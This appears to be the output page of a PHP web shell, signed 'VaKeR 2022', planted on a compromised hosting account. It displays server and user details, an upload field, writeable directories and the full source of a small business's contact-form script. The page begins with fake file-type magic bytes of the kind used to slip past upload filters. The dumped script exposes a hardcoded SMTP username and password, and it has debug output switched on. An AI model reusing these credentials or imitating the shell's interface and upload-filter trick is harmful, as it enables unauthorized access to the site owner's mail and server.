%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_e6d92538/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_e6d92538/contact.php
<?php include 'header.php'; 

    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    error_reporting(E_ALL);

    require 'vendor/autoload.php';
    
    use PHPMailer\PHPMailer\PHPMailer;
    use PHPMailer\PHPMailer\Exception;
    
    // $host='smtp.titan.com';
    $host='smtp.titan.email';
    $username='Contact@solventure1.us';
    $port='587';
    $password='Contact@Avi1';
    $website_name='Solventure';
    
?>

<section class="breadcrumb" style="background-image: url('img/bg-contact.jpg');">
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <div class="bread">
                    <h1 class="mb-0">Contact</h1>
                </div>
            </div>
        </div>
    </div>
</section>

<section class="contact p-100-50">
    <div class="container">
        <div class="row">
            <div class="col-md-6">
                <h4>Contact us</h4>
                <p>We look forward to hearing from you.</p>
                <p>SOLVENTURE powered by Webs Utility Global LLP</p>
                <ul>
                    <li><i class="bi bi-geo-alt-fill"></i> 10428 Stonewind drive unit 13101 Fort Worth, Texas 76244 USA</li>
                    <li><i class="bi bi-envelope-fill"></i> contact@solventure1.us</li>
                    <li><i class="bi bi-telephone-fill"></i> +1 310 -993-6807</li>
                </ul>
            </div>
            <div class="col-md-6">
                <form action="" method="post">
                    <label for="name">Full Name</label>
                    <input type="text" name="name" id="" class="form-control">
                    <label for="email">Email</label>
                    <input type="email" name="email" id="" class="form-control">
                    <label for="phone">Phone</label>
                    <input type="text" name="phone" id="" class="form-control">
                    <label for="message">Message</label>
                    <textarea rows="5" name="message" id="message" class="form-control"></textarea>
                    <button type="submit" name="submit" class="btn btn-success rounded-pill">Submit</button>
                </form>
            </div>
        </div>
    </div>
</section>

<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3348.916568762198!2d-97.31162912371713!3d32.92680247631512!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x864dd909f989aebd%3A0x1a36ae6d5cca5432!2sBuilding%2013%2C%2010428%20Stonewind%20Dr%2C%20Fort%20Worth%2C%20TX%2076244%2C%20USA!5e0!3m2!1sen!2sin!4v1773643387616!5m2!1sen!2sin" width="100%" height="450" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe>


<?php include 'footer.php';

if(isset($_POST['submit'])){ 
        
    $name = $_POST['name'];
    $email = $_POST['email'];
    $phone = $_POST['phone'];
    $message = $_POST['message'];

    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        die("Invalid email");
    }

    $email_temp = '
    <table style="border: solid 2px #DDEEEE; border-collapse: collapse; border-spacing: 0; font: normal 14px Roboto, sans-serif;">
    <thead>
    <tr>
    <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; padding: 10px;">Name</th>
    <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; padding: 10px;">Email</th>
    <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; padding: 10px;">Phone</th>
    </tr>
    </thead>
    <tbody>
    <tr>    
    <td style="border: solid 1px #DDEEEE; padding: 10px;">' . htmlspecialchars($name) . '</td>
    <td style="border: solid 1px #DDEEEE; padding: 10px;">' . htmlspecialchars($email) . '</td>
    <td style="border: solid 1px #DDEEEE; padding: 10px;">' . htmlspecialchars($phone) . '</td>
    </tr>
    <tr>
    <td colspan="5" style="border: solid 1px #DDEEEE; padding: 10px;">' . nl2br(htmlspecialchars($message)) . '</td>
    </tr>
    </tbody>
    </table>';
    
    $mail = new PHPMailer(true);
    
    try {
    
        // $mail->SMTPDebug = 2;
        $mail->isSMTP();
        $mail->Host       = $host;
        $mail->SMTPAuth   = true;
        $mail->Username   = $username;
        $mail->Password   = $password;
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
        $mail->Port       = 587;
    
        $mail->CharSet = 'UTF-8';
    
        $mail->setFrom($username, $website_name);
        $mail->addAddress($username);
        $mail->addAddress($email);
        $mail->addReplyTo($email, $name);
    
        $mail->isHTML(true);
        $mail->Subject = 'New Enquiry - '.$website_name;
        $mail->Body    = $email_temp;
    
        $mail->send();
        
        echo '<script>alert("Your enquiry send successfully!");</script>';
    
    
    } catch (Exception $e) {
        echo "❌ Mail Error: {$mail->ErrorInfo}";
    }
}
?>

VaKeR 2022